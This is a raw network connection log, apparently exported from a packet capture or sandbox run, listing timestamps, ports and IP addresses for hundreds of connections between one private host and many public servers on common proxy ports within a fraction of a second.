Mar 11, 2024 18:36:45.746588945 CET	50178	80	192.168.2.8	223.19.111.185
Mar 11, 2024 18:36:45.746994019 CET	50920	8080	192.168.2.8	47.88.3.19
Mar 11, 2024 18:36:45.748156071 CET	1080	50483	35.154.71.72	192.168.2.8
Mar 11, 2024 18:36:45.748234987 CET	50483	1080	192.168.2.8	35.154.71.72
Mar 11, 2024 18:36:45.748461008 CET	50483	1080	192.168.2.8	35.154.71.72
Mar 11, 2024 18:36:45.749052048 CET	4145	50490	142.54.231.38	192.168.2.8
Mar 11, 2024 18:36:45.749200106 CET	4145	50490	142.54.231.38	192.168.2.8
Mar 11, 2024 18:36:45.750027895 CET	50921	4145	192.168.2.8	142.54.231.38
Mar 11, 2024 18:36:45.750777960 CET	4145	50408	168.205.217.13	192.168.2.8
Mar 11, 2024 18:36:45.751445055 CET	50922	30770	192.168.2.8	108.181.132.116
Mar 11, 2024 18:36:45.751607895 CET	50923	80	192.168.2.8	39.108.227.108
Mar 11, 2024 18:36:45.751888990 CET	50924	3230	192.168.2.8	104.238.111.107
Mar 11, 2024 18:36:45.751899958 CET	16379	50030	51.158.64.130	192.168.2.8
Mar 11, 2024 18:36:45.751928091 CET	16379	50030	51.158.64.130	192.168.2.8
Mar 11, 2024 18:36:45.752048016 CET	50925	32930	192.168.2.8	213.136.79.177
Mar 11, 2024 18:36:45.752496004 CET	50927	4145	192.168.2.8	45.126.169.137
Mar 11, 2024 18:36:45.752496958 CET	50926	80	192.168.2.8	162.159.241.5
Mar 11, 2024 18:36:45.752552986 CET	80	49934	50.168.163.166	192.168.2.8
Mar 11, 2024 18:36:45.752640009 CET	16379	50620	51.158.64.130	192.168.2.8
Mar 11, 2024 18:36:45.752830982 CET	50620	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:45.752966881 CET	50928	1080	192.168.2.8	41.223.108.13
Mar 11, 2024 18:36:45.753106117 CET	49718	15082	192.168.2.8	45.77.111.135
Mar 11, 2024 18:36:45.753107071 CET	50135	14921	192.168.2.8	192.252.211.197
Mar 11, 2024 18:36:45.753127098 CET	49940	8901	192.168.2.8	94.124.16.218
Mar 11, 2024 18:36:45.753129005 CET	49945	39323	192.168.2.8	207.180.234.220
Mar 11, 2024 18:36:45.753129005 CET	49952	1080	192.168.2.8	103.234.27.153
Mar 11, 2024 18:36:45.753133059 CET	50118	24279	192.168.2.8	67.43.228.251
Mar 11, 2024 18:36:45.753138065 CET	49929	58740	192.168.2.8	162.214.197.102
Mar 11, 2024 18:36:45.753138065 CET	50167	3128	192.168.2.8	80.251.219.40
Mar 11, 2024 18:36:45.753138065 CET	49942	8080	192.168.2.8	103.115.242.192
Mar 11, 2024 18:36:45.753177881 CET	49944	8080	192.168.2.8	38.253.232.2
Mar 11, 2024 18:36:45.753179073 CET	50125	1431	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:45.753179073 CET	50620	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:45.753482103 CET	30000	50203	161.97.74.176	192.168.2.8
Mar 11, 2024 18:36:45.753494978 CET	30000	50203	161.97.74.176	192.168.2.8
Mar 11, 2024 18:36:45.753587961 CET	50929	8080	192.168.2.8	201.20.94.93
Mar 11, 2024 18:36:45.753588915 CET	50930	7777	192.168.2.8	18.195.164.53
Mar 11, 2024 18:36:45.753679037 CET	50203	30000	192.168.2.8	161.97.74.176
Mar 11, 2024 18:36:45.753851891 CET	3128	50204	91.189.177.186	192.168.2.8
Mar 11, 2024 18:36:45.753880024 CET	50203	30000	192.168.2.8	161.97.74.176
Mar 11, 2024 18:36:45.754038095 CET	1080	49763	138.36.150.16	192.168.2.8
Mar 11, 2024 18:36:45.754208088 CET	8888	50019	95.164.89.123	192.168.2.8
Mar 11, 2024 18:36:45.754369020 CET	49763	1080	192.168.2.8	138.36.150.16
Mar 11, 2024 18:36:45.754643917 CET	49763	1080	192.168.2.8	138.36.150.16
Mar 11, 2024 18:36:45.754645109 CET	50931	999	192.168.2.8	181.78.19.249
Mar 11, 2024 18:36:45.754945993 CET	50932	8080	192.168.2.8	103.75.96.70
Mar 11, 2024 18:36:45.755242109 CET	80	50026	121.159.146.251	192.168.2.8
Mar 11, 2024 18:36:45.755748034 CET	50933	8080	192.168.2.8	160.3.168.70
Mar 11, 2024 18:36:45.756141901 CET	50934	8080	192.168.2.8	103.49.114.195
Mar 11, 2024 18:36:45.757039070 CET	7777	50093	218.6.120.111	192.168.2.8
Mar 11, 2024 18:36:45.757899046 CET	8888	50256	3.25.234.175	192.168.2.8
Mar 11, 2024 18:36:45.757936001 CET	1080	50573	140.250.150.56	192.168.2.8
Mar 11, 2024 18:36:45.758207083 CET	3128	50266	13.40.239.130	192.168.2.8
Mar 11, 2024 18:36:45.758500099 CET	80	50458	43.231.22.229	192.168.2.8
Mar 11, 2024 18:36:45.759212971 CET	80	50649	50.173.140.150	192.168.2.8
Mar 11, 2024 18:36:45.759274006 CET	25639	49982	67.43.227.226	192.168.2.8
Mar 11, 2024 18:36:45.759383917 CET	50458	80	192.168.2.8	43.231.22.229
Mar 11, 2024 18:36:45.759517908 CET	50458	80	192.168.2.8	43.231.22.229
Mar 11, 2024 18:36:45.759702921 CET	50266	3128	192.168.2.8	13.40.239.130
Mar 11, 2024 18:36:45.760382891 CET	8888	50256	3.25.234.175	192.168.2.8
Mar 11, 2024 18:36:45.760417938 CET	50935	57495	192.168.2.8	162.241.53.72
Mar 11, 2024 18:36:45.760679007 CET	50256	8888	192.168.2.8	3.25.234.175
Mar 11, 2024 18:36:45.761018991 CET	50936	20001	192.168.2.8	67.43.236.20
Mar 11, 2024 18:36:45.761153936 CET	1080	50594	27.0.234.206	192.168.2.8
Mar 11, 2024 18:36:45.761657000 CET	50938	20317	192.168.2.8	132.148.128.88
Mar 11, 2024 18:36:45.761657953 CET	50937	8080	192.168.2.8	96.80.235.1
Mar 11, 2024 18:36:45.761769056 CET	50594	1080	192.168.2.8	27.0.234.206
Mar 11, 2024 18:36:45.761962891 CET	50594	1080	192.168.2.8	27.0.234.206
Mar 11, 2024 18:36:45.762469053 CET	80	50609	104.16.109.207	192.168.2.8
Mar 11, 2024 18:36:45.762501001 CET	50939	8080	192.168.2.8	78.142.234.35
Mar 11, 2024 18:36:45.762504101 CET	80	50609	104.16.109.207	192.168.2.8
Mar 11, 2024 18:36:45.762670040 CET	50940	80	192.168.2.8	50.207.199.85
Mar 11, 2024 18:36:45.762756109 CET	50609	80	192.168.2.8	104.16.109.207
Mar 11, 2024 18:36:45.763014078 CET	50941	36129	192.168.2.8	162.214.225.223
Mar 11, 2024 18:36:45.763015985 CET	7777	49882	123.30.154.171	192.168.2.8
Mar 11, 2024 18:36:45.763427973 CET	50942	8080	192.168.2.8	203.189.150.48
Mar 11, 2024 18:36:45.763576984 CET	80	50609	104.16.109.207	192.168.2.8
Mar 11, 2024 18:36:45.763695955 CET	50609	80	192.168.2.8	104.16.109.207
Mar 11, 2024 18:36:45.763761044 CET	50943	8123	192.168.2.8	119.81.189.194
Mar 11, 2024 18:36:45.763983011 CET	4145	50661	174.64.199.79	192.168.2.8
Mar 11, 2024 18:36:45.764202118 CET	50944	46656	192.168.2.8	38.127.179.126
Mar 11, 2024 18:36:45.764292955 CET	50661	4145	192.168.2.8	174.64.199.79
Mar 11, 2024 18:36:45.764612913 CET	50945	5040	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:45.764616966 CET	50661	4145	192.168.2.8	174.64.199.79
Mar 11, 2024 18:36:45.764913082 CET	50946	83	192.168.2.8	103.47.175.161
Mar 11, 2024 18:36:45.765490055 CET	50948	5566	192.168.2.8	111.221.3.86
Mar 11, 2024 18:36:45.765500069 CET	50947	80	192.168.2.8	83.142.161.30
Mar 11, 2024 18:36:45.765997887 CET	80	50719	104.22.50.220	192.168.2.8
Mar 11, 2024 18:36:45.766079903 CET	50949	8080	192.168.2.8	85.113.55.123
Mar 11, 2024 18:36:45.766195059 CET	50719	80	192.168.2.8	104.22.50.220
Mar 11, 2024 18:36:45.766442060 CET	50719	80	192.168.2.8	104.22.50.220
Mar 11, 2024 18:36:45.768656969 CET	80	50614	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:45.768717051 CET	50950	80	192.168.2.8	174.138.114.226
Mar 11, 2024 18:36:45.768764019 CET	49980	59870	192.168.2.8	37.187.77.58
Mar 11, 2024 18:36:45.768779993 CET	50060	5678	192.168.2.8	202.165.47.49
Mar 11, 2024 18:36:45.768779993 CET	49943	1981	192.168.2.8	41.65.236.56
Mar 11, 2024 18:36:45.768783092 CET	49949	999	192.168.2.8	190.113.40.202
Mar 11, 2024 18:36:45.768785000 CET	49955	8080	192.168.2.8	38.156.73.54
Mar 11, 2024 18:36:45.768785954 CET	49941	80	192.168.2.8	119.81.189.194
Mar 11, 2024 18:36:45.768786907 CET	49917	1974	192.168.2.8	41.33.203.115
Mar 11, 2024 18:36:45.768789053 CET	50128	10363	192.168.2.8	67.43.236.20
Mar 11, 2024 18:36:45.768789053 CET	49957	3128	192.168.2.8	178.245.145.234
Mar 11, 2024 18:36:45.768794060 CET	49962	80	192.168.2.8	144.24.122.46
Mar 11, 2024 18:36:45.768794060 CET	49958	80	192.168.2.8	218.255.187.60
Mar 11, 2024 18:36:45.768806934 CET	49956	8080	192.168.2.8	137.59.48.20
Mar 11, 2024 18:36:45.768862963 CET	50614	80	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:45.768910885 CET	49959	48117	192.168.2.8	162.215.219.157
Mar 11, 2024 18:36:45.769428015 CET	4145	50706	72.210.221.223	192.168.2.8
Mar 11, 2024 18:36:45.769459963 CET	50614	80	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:45.769534111 CET	50706	4145	192.168.2.8	72.210.221.223
Mar 11, 2024 18:36:45.769705057 CET	80	50438	172.67.14.237	192.168.2.8
Mar 11, 2024 18:36:45.770195007 CET	50951	21049	192.168.2.8	128.199.196.31
Mar 11, 2024 18:36:45.770678043 CET	3128	50593	120.24.52.179	192.168.2.8
Mar 11, 2024 18:36:45.770709038 CET	50952	4444	192.168.2.8	128.199.116.34
Mar 11, 2024 18:36:45.771089077 CET	50953	80	192.168.2.8	103.197.71.7
Mar 11, 2024 18:36:45.771161079 CET	50954	53281	192.168.2.8	179.60.240.69
Mar 11, 2024 18:36:45.771645069 CET	4145	49808	184.181.217.194	192.168.2.8
Mar 11, 2024 18:36:45.771770000 CET	49808	4145	192.168.2.8	184.181.217.194
Mar 11, 2024 18:36:45.772347927 CET	80	50733	172.67.127.188	192.168.2.8
Mar 11, 2024 18:36:45.772454023 CET	50733	80	192.168.2.8	172.67.127.188
Mar 11, 2024 18:36:45.773868084 CET	80	50440	185.238.228.240	192.168.2.8
Mar 11, 2024 18:36:45.774396896 CET	4145	50669	190.153.121.2	192.168.2.8
Mar 11, 2024 18:36:45.774492979 CET	4145	50702	198.8.94.170	192.168.2.8
Mar 11, 2024 18:36:45.774529934 CET	50669	4145	192.168.2.8	190.153.121.2
Mar 11, 2024 18:36:45.775230885 CET	9999	50453	113.195.224.222	192.168.2.8
Mar 11, 2024 18:36:45.776283026 CET	63055	50608	51.161.131.84	192.168.2.8
Mar 11, 2024 18:36:45.776397943 CET	50608	63055	192.168.2.8	51.161.131.84
Mar 11, 2024 18:36:45.776977062 CET	12334	50187	194.4.50.62	192.168.2.8
Mar 11, 2024 18:36:45.777307987 CET	80	50742	172.67.182.107	192.168.2.8
Mar 11, 2024 18:36:45.777507067 CET	50742	80	192.168.2.8	172.67.182.107
Mar 11, 2024 18:36:45.778569937 CET	3128	50624	155.185.15.56	192.168.2.8
Mar 11, 2024 18:36:45.779537916 CET	8083	50567	185.132.242.212	192.168.2.8
Mar 11, 2024 18:36:45.779661894 CET	50567	8083	192.168.2.8	185.132.242.212
Mar 11, 2024 18:36:45.779683113 CET	9764	50442	162.243.102.207	192.168.2.8
Mar 11, 2024 18:36:45.779807091 CET	9764	50442	162.243.102.207	192.168.2.8
Mar 11, 2024 18:36:45.781096935 CET	50442	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:45.782280922 CET	4145	50378	72.195.114.169	192.168.2.8
Mar 11, 2024 18:36:45.782294035 CET	4145	50378	72.195.114.169	192.168.2.8
Mar 11, 2024 18:36:45.784357071 CET	49954	49858	192.168.2.8	162.241.50.179
Mar 11, 2024 18:36:45.784369946 CET	49960	999	192.168.2.8	170.239.205.1
Mar 11, 2024 18:36:45.784373045 CET	50164	41274	192.168.2.8	162.241.158.204
Mar 11, 2024 18:36:45.784373045 CET	49969	1976	192.168.2.8	41.128.148.76
Mar 11, 2024 18:36:45.784389019 CET	49972	8888	192.168.2.8	38.156.72.135
Mar 11, 2024 18:36:45.784389973 CET	49961	55198	192.168.2.8	51.89.173.40
Mar 11, 2024 18:36:45.785106897 CET	50201	4145	192.168.2.8	199.102.107.145
Mar 11, 2024 18:36:45.785124063 CET	49975	1488	192.168.2.8	85.94.24.29
Mar 11, 2024 18:36:45.785125017 CET	49964	55109	192.168.2.8	161.97.163.52
Mar 11, 2024 18:36:45.785129070 CET	49724	9375	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:45.785139084 CET	49953	3129	192.168.2.8	103.76.253.66
Mar 11, 2024 18:36:45.785139084 CET	49823	3128	192.168.2.8	15.236.106.236
Mar 11, 2024 18:36:45.785139084 CET	50165	4145	192.168.2.8	184.170.249.65
Mar 11, 2024 18:36:45.785211086 CET	80	50218	103.151.20.131	192.168.2.8
Mar 11, 2024 18:36:45.785403013 CET	49966	3128	192.168.2.8	35.237.210.215
Mar 11, 2024 18:36:45.785557032 CET	80	50218	103.151.20.131	192.168.2.8
Mar 11, 2024 18:36:45.785614014 CET	80	50218	103.151.20.131	192.168.2.8
Mar 11, 2024 18:36:45.785902977 CET	80	50448	172.67.209.12	192.168.2.8
Mar 11, 2024 18:36:45.785979033 CET	50218	80	192.168.2.8	103.151.20.131
Mar 11, 2024 18:36:45.786312103 CET	21802	50527	34.93.157.87	192.168.2.8
Mar 11, 2024 18:36:45.786387920 CET	50527	21802	192.168.2.8	34.93.157.87
Mar 11, 2024 18:36:45.786926985 CET	80	50452	104.20.103.68	192.168.2.8
Mar 11, 2024 18:36:45.788712025 CET	3128	50011	178.128.148.69	192.168.2.8
Mar 11, 2024 18:36:45.788937092 CET	3128	49752	8.209.255.13	192.168.2.8
Mar 11, 2024 18:36:45.790257931 CET	80	50659	188.165.213.106	192.168.2.8
Mar 11, 2024 18:36:45.790391922 CET	50659	80	192.168.2.8	188.165.213.106
Mar 11, 2024 18:36:45.792601109 CET	80	50656	104.16.108.42	192.168.2.8
Mar 11, 2024 18:36:45.792680025 CET	80	50656	104.16.108.42	192.168.2.8
Mar 11, 2024 18:36:45.792694092 CET	80	50656	104.16.108.42	192.168.2.8
Mar 11, 2024 18:36:45.792758942 CET	50656	80	192.168.2.8	104.16.108.42
Mar 11, 2024 18:36:45.794228077 CET	50955	9012	192.168.2.8	103.148.192.82
Mar 11, 2024 18:36:45.794938087 CET	50956	8080	192.168.2.8	103.227.186.13
Mar 11, 2024 18:36:45.795120955 CET	50957	34411	192.168.2.8	212.110.188.195
Mar 11, 2024 18:36:45.795193911 CET	50958	48963	192.168.2.8	207.180.234.220
Mar 11, 2024 18:36:45.795340061 CET	50669	4145	192.168.2.8	190.153.121.2
Mar 11, 2024 18:36:45.795340061 CET	49808	4145	192.168.2.8	184.181.217.194
Mar 11, 2024 18:36:45.795439005 CET	50442	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:45.795439005 CET	50567	8083	192.168.2.8	185.132.242.212
Mar 11, 2024 18:36:45.795769930 CET	50959	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:45.795769930 CET	50960	58714	192.168.2.8	185.18.198.163
Mar 11, 2024 18:36:45.795938015 CET	50742	80	192.168.2.8	172.67.182.107
Mar 11, 2024 18:36:45.796070099 CET	8443	50596	27.254.123.203	192.168.2.8
Mar 11, 2024 18:36:45.796101093 CET	50961	4145	192.168.2.8	72.195.114.169
Mar 11, 2024 18:36:45.796190023 CET	50527	21802	192.168.2.8	34.93.157.87
Mar 11, 2024 18:36:45.796224117 CET	50659	80	192.168.2.8	188.165.213.106
Mar 11, 2024 18:36:45.796224117 CET	50218	80	192.168.2.8	103.151.20.131
Mar 11, 2024 18:36:45.796400070 CET	50656	80	192.168.2.8	104.16.108.42
Mar 11, 2024 18:36:45.796825886 CET	50733	80	192.168.2.8	172.67.127.188
Mar 11, 2024 18:36:45.796829939 CET	50608	63055	192.168.2.8	51.161.131.84
Mar 11, 2024 18:36:45.797872066 CET	4145	50432	199.58.185.9	192.168.2.8
Mar 11, 2024 18:36:45.797904015 CET	50962	80	192.168.2.8	50.168.72.116
Mar 11, 2024 18:36:45.797915936 CET	4145	50432	199.58.185.9	192.168.2.8
Mar 11, 2024 18:36:45.798346996 CET	12334	49754	194.4.50.91	192.168.2.8
Mar 11, 2024 18:36:45.798417091 CET	50963	80	192.168.2.8	50.169.118.209
Mar 11, 2024 18:36:45.798782110 CET	12334	49754	194.4.50.91	192.168.2.8
Mar 11, 2024 18:36:45.798902988 CET	15673	50535	23.95.209.142	192.168.2.8
Mar 11, 2024 18:36:45.799030066 CET	49754	12334	192.168.2.8	194.4.50.91
Mar 11, 2024 18:36:45.799030066 CET	49754	12334	192.168.2.8	194.4.50.91
Mar 11, 2024 18:36:45.799873114 CET	50964	12334	192.168.2.8	194.4.50.91
Mar 11, 2024 18:36:45.799973965 CET	50053	3129	192.168.2.8	20.219.177.85
Mar 11, 2024 18:36:45.799974918 CET	50965	4145	192.168.2.8	199.58.185.9
Mar 11, 2024 18:36:45.799990892 CET	49979	59820	192.168.2.8	107.180.88.173
Mar 11, 2024 18:36:45.799993038 CET	49976	51918	192.168.2.8	162.214.197.102
Mar 11, 2024 18:36:45.799993038 CET	50140	999	192.168.2.8	45.229.34.174
Mar 11, 2024 18:36:45.800008059 CET	49981	38117	192.168.2.8	132.148.245.169
Mar 11, 2024 18:36:45.800008059 CET	49983	8118	192.168.2.8	182.140.244.163
Mar 11, 2024 18:36:45.800009012 CET	50224	4145	192.168.2.8	199.102.106.94
Mar 11, 2024 18:36:45.800009966 CET	49967	59243	192.168.2.8	159.223.71.71
Mar 11, 2024 18:36:45.800009012 CET	49988	23854	192.168.2.8	51.89.173.40
Mar 11, 2024 18:36:45.800009966 CET	50047	4153	192.168.2.8	103.83.105.167
Mar 11, 2024 18:36:45.800019979 CET	49987	999	192.168.2.8	190.97.238.89
Mar 11, 2024 18:36:45.800023079 CET	49991	5678	192.168.2.8	103.130.112.253
Mar 11, 2024 18:36:45.800025940 CET	49993	5678	192.168.2.8	178.236.122.164
Mar 11, 2024 18:36:45.801177025 CET	50966	3128	192.168.2.8	185.174.137.30
Mar 11, 2024 18:36:45.801630020 CET	50967	3128	192.168.2.8	161.34.67.83
Mar 11, 2024 18:36:45.804991007 CET	80	50695	50.230.222.202	192.168.2.8
Mar 11, 2024 18:36:45.806221962 CET	5385	50017	72.10.160.170	192.168.2.8
Mar 11, 2024 18:36:45.806272030 CET	31295	50021	67.43.236.20	192.168.2.8
Mar 11, 2024 18:36:45.806416988 CET	3933	50022	67.43.228.253	192.168.2.8
Mar 11, 2024 18:36:45.808974028 CET	8800	50168	43.133.136.208	192.168.2.8
Mar 11, 2024 18:36:45.809108019 CET	50168	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:45.809202909 CET	9125	50646	178.253.201.11	192.168.2.8
Mar 11, 2024 18:36:45.809235096 CET	50168	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:45.809623957 CET	8800	50168	43.133.136.208	192.168.2.8
Mar 11, 2024 18:36:45.810818911 CET	50969	7237	192.168.2.8	195.248.243.149
Mar 11, 2024 18:36:45.810852051 CET	50968	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:45.810937881 CET	50970	80	192.168.2.8	104.16.104.12
Mar 11, 2024 18:36:45.811513901 CET	3629	49843	178.158.197.147	192.168.2.8
Mar 11, 2024 18:36:45.811736107 CET	50971	49145	192.168.2.8	161.97.173.78
Mar 11, 2024 18:36:45.811784983 CET	45876	49801	207.180.234.220	192.168.2.8
Mar 11, 2024 18:36:45.812263012 CET	80	50273	12.176.231.147	192.168.2.8
Mar 11, 2024 18:36:45.812395096 CET	49801	45876	192.168.2.8	207.180.234.220
Mar 11, 2024 18:36:45.812588930 CET	49801	45876	192.168.2.8	207.180.234.220
Mar 11, 2024 18:36:45.813230038 CET	50972	4153	192.168.2.8	183.89.9.20
Mar 11, 2024 18:36:45.814013004 CET	64768	49895	173.212.250.16	192.168.2.8
Mar 11, 2024 18:36:45.814048052 CET	50973	8888	192.168.2.8	20.33.5.27
Mar 11, 2024 18:36:45.815596104 CET	50158	21777	192.168.2.8	51.222.84.118
Mar 11, 2024 18:36:45.815597057 CET	49750	40351	192.168.2.8	51.222.241.157
Mar 11, 2024 18:36:45.815612078 CET	49990	3128	192.168.2.8	125.99.106.250
Mar 11, 2024 18:36:45.815613985 CET	50097	31979	192.168.2.8	51.77.65.164
Mar 11, 2024 18:36:45.815623999 CET	50001	34350	192.168.2.8	66.29.128.246
Mar 11, 2024 18:36:45.815629959 CET	50000	16379	192.168.2.8	163.172.165.36
Mar 11, 2024 18:36:45.815629959 CET	50003	3128	192.168.2.8	51.178.43.147
Mar 11, 2024 18:36:45.815629959 CET	50004	28695	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:45.815629959 CET	49999	80	192.168.2.8	162.144.236.128
Mar 11, 2024 18:36:45.815632105 CET	49989	32650	192.168.2.8	103.176.116.171
Mar 11, 2024 18:36:45.815635920 CET	50005	48612	192.168.2.8	191.103.219.225
Mar 11, 2024 18:36:45.816787004 CET	80	50463	104.16.105.142	192.168.2.8
Mar 11, 2024 18:36:45.817605019 CET	6012	50642	45.11.95.165	192.168.2.8
Mar 11, 2024 18:36:45.819822073 CET	8000	50039	137.184.200.42	192.168.2.8
Mar 11, 2024 18:36:45.819854021 CET	50974	21898	192.168.2.8	159.223.166.21
Mar 11, 2024 18:36:45.819967031 CET	50642	6012	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:45.820149899 CET	8080	50525	103.190.54.141	192.168.2.8
Mar 11, 2024 18:36:45.820277929 CET	50525	8080	192.168.2.8	103.190.54.141
Mar 11, 2024 18:36:45.820278883 CET	50642	6012	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:45.821026087 CET	50525	8080	192.168.2.8	103.190.54.141
Mar 11, 2024 18:36:45.821865082 CET	26087	50036	67.43.228.251	192.168.2.8
Mar 11, 2024 18:36:45.823215961 CET	80	50792	104.27.26.29	192.168.2.8
Mar 11, 2024 18:36:45.823390007 CET	50792	80	192.168.2.8	104.27.26.29
Mar 11, 2024 18:36:45.824230909 CET	50792	80	192.168.2.8	104.27.26.29
Mar 11, 2024 18:36:45.824742079 CET	80	50800	104.27.37.131	192.168.2.8
Mar 11, 2024 18:36:45.824882030 CET	50800	80	192.168.2.8	104.27.37.131
Mar 11, 2024 18:36:45.825010061 CET	50975	999	192.168.2.8	168.194.171.16
Mar 11, 2024 18:36:45.825525045 CET	50976	4145	192.168.2.8	103.86.1.2
Mar 11, 2024 18:36:45.825977087 CET	50977	5678	192.168.2.8	185.26.32.93
Mar 11, 2024 18:36:45.826004982 CET	80	50472	104.24.35.152	192.168.2.8
Mar 11, 2024 18:36:45.826006889 CET	50800	80	192.168.2.8	104.27.37.131
Mar 11, 2024 18:36:45.826808929 CET	80	50795	172.67.181.12	192.168.2.8
Mar 11, 2024 18:36:45.827008009 CET	50795	80	192.168.2.8	172.67.181.12
Mar 11, 2024 18:36:45.828155041 CET	50978	80	192.168.2.8	172.67.182.96
Mar 11, 2024 18:36:45.828186035 CET	50795	80	192.168.2.8	172.67.181.12
Mar 11, 2024 18:36:45.828360081 CET	4444	50664	193.8.87.43	192.168.2.8
Mar 11, 2024 18:36:45.829016924 CET	50979	8080	192.168.2.8	192.144.30.200
Mar 11, 2024 18:36:45.829112053 CET	50664	4444	192.168.2.8	193.8.87.43
Mar 11, 2024 18:36:45.829432964 CET	50664	4444	192.168.2.8	193.8.87.43
Mar 11, 2024 18:36:45.831222057 CET	50271	10722	192.168.2.8	192.163.202.88
Mar 11, 2024 18:36:45.831224918 CET	49997	80	192.168.2.8	20.187.77.5
Mar 11, 2024 18:36:45.831237078 CET	50179	13477	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:45.831238031 CET	50070	5678	192.168.2.8	223.25.98.82
Mar 11, 2024 18:36:45.831240892 CET	49995	60069	192.168.2.8	148.72.23.56
Mar 11, 2024 18:36:45.831247091 CET	50014	52017	192.168.2.8	131.0.87.225
Mar 11, 2024 18:36:45.831262112 CET	49775	80	192.168.2.8	50.239.72.18
Mar 11, 2024 18:36:45.831264973 CET	49998	8080	192.168.2.8	185.200.37.245
Mar 11, 2024 18:36:45.831269026 CET	49751	30951	192.168.2.8	72.10.160.90
Mar 11, 2024 18:36:45.831270933 CET	50007	24834	192.168.2.8	107.180.88.41
Mar 11, 2024 18:36:45.833875895 CET	3128	50542	23.152.40.14	192.168.2.8
Mar 11, 2024 18:36:45.834367037 CET	80	50835	104.16.241.204	192.168.2.8
Mar 11, 2024 18:36:45.834398031 CET	50980	4673	192.168.2.8	62.201.212.198
Mar 11, 2024 18:36:45.834635973 CET	13087	50712	67.43.236.18	192.168.2.8
Mar 11, 2024 18:36:45.834656000 CET	50835	80	192.168.2.8	104.16.241.204
Mar 11, 2024 18:36:45.834656000 CET	50835	80	192.168.2.8	104.16.241.204
Mar 11, 2024 18:36:45.835159063 CET	3128	50603	185.191.236.162	192.168.2.8
Mar 11, 2024 18:36:45.835186958 CET	3128	49880	18.134.236.231	192.168.2.8
Mar 11, 2024 18:36:45.835309029 CET	50603	3128	192.168.2.8	185.191.236.162
Mar 11, 2024 18:36:45.835681915 CET	10677	50718	72.10.160.173	192.168.2.8
Mar 11, 2024 18:36:45.835715055 CET	50603	3128	192.168.2.8	185.191.236.162
Mar 11, 2024 18:36:45.835870981 CET	64110	50760	164.92.86.113	192.168.2.8
Mar 11, 2024 18:36:45.836018085 CET	4153	50575	185.22.31.227	192.168.2.8
Mar 11, 2024 18:36:45.836149931 CET	50760	64110	192.168.2.8	164.92.86.113
Mar 11, 2024 18:36:45.836410046 CET	50760	64110	192.168.2.8	164.92.86.113
Mar 11, 2024 18:36:45.836529970 CET	50981	80	192.168.2.8	164.132.170.100
Mar 11, 2024 18:36:45.837488890 CET	4145	50805	192.111.134.10	192.168.2.8
Mar 11, 2024 18:36:45.839920998 CET	50982	3128	192.168.2.8	176.113.73.102
Mar 11, 2024 18:36:45.839925051 CET	9091	49996	120.37.121.209	192.168.2.8
Mar 11, 2024 18:36:45.840107918 CET	4145	50813	142.54.232.6	192.168.2.8
Mar 11, 2024 18:36:45.840157032 CET	80	50485	104.27.83.183	192.168.2.8
Mar 11, 2024 18:36:45.840519905 CET	4145	50832	174.77.111.197	192.168.2.8
Mar 11, 2024 18:36:45.840575933 CET	80	50508	173.245.49.27	192.168.2.8
Mar 11, 2024 18:36:45.841131926 CET	50832	4145	192.168.2.8	174.77.111.197
Mar 11, 2024 18:36:45.841449976 CET	50983	33333	192.168.2.8	190.53.45.222
Mar 11, 2024 18:36:45.842083931 CET	50984	16379	192.168.2.8	51.158.98.197
Mar 11, 2024 18:36:45.844333887 CET	80	50754	50.207.199.80	192.168.2.8
Mar 11, 2024 18:36:45.845415115 CET	50985	58842	192.168.2.8	148.72.206.84
Mar 11, 2024 18:36:45.845455885 CET	80	50676	172.67.181.97	192.168.2.8
Mar 11, 2024 18:36:45.845530033 CET	50986	18080	192.168.2.8	60.188.102.225
Mar 11, 2024 18:36:45.845532894 CET	80	50676	172.67.181.97	192.168.2.8
Mar 11, 2024 18:36:45.845877886 CET	8197	50301	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:45.845921993 CET	1976	50648	41.65.55.10	192.168.2.8
Mar 11, 2024 18:36:45.846095085 CET	8197	50301	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:45.846108913 CET	36946	50674	207.180.234.220	192.168.2.8
Mar 11, 2024 18:36:45.846126080 CET	50676	80	192.168.2.8	172.67.181.97
Mar 11, 2024 18:36:45.846183062 CET	50301	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:45.846193075 CET	80	50676	172.67.181.97	192.168.2.8
Mar 11, 2024 18:36:45.846220970 CET	50648	1976	192.168.2.8	41.65.55.10
Mar 11, 2024 18:36:45.846220970 CET	50674	36946	192.168.2.8	207.180.234.220
Mar 11, 2024 18:36:45.846244097 CET	50676	80	192.168.2.8	172.67.181.97
Mar 11, 2024 18:36:45.846348047 CET	50674	36946	192.168.2.8	207.180.234.220
Mar 11, 2024 18:36:45.846465111 CET	50301	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:45.846858025 CET	50009	18374	192.168.2.8	92.205.110.118
Mar 11, 2024 18:36:45.846859932 CET	50102	3500	192.168.2.8	23.225.72.122
Mar 11, 2024 18:36:45.846872091 CET	50008	4153	192.168.2.8	110.74.195.2
Mar 11, 2024 18:36:45.846872091 CET	50270	4145	192.168.2.8	142.54.237.34
Mar 11, 2024 18:36:45.846877098 CET	50020	1080	192.168.2.8	139.255.132.68
Mar 11, 2024 18:36:45.846877098 CET	49785	80	192.168.2.8	93.188.161.84
Mar 11, 2024 18:36:45.846899033 CET	3128	49909	194.182.187.78	192.168.2.8
Mar 11, 2024 18:36:45.846936941 CET	50024	3030	192.168.2.8	158.247.207.153
Mar 11, 2024 18:36:45.846988916 CET	50023	3127	192.168.2.8	59.92.70.176
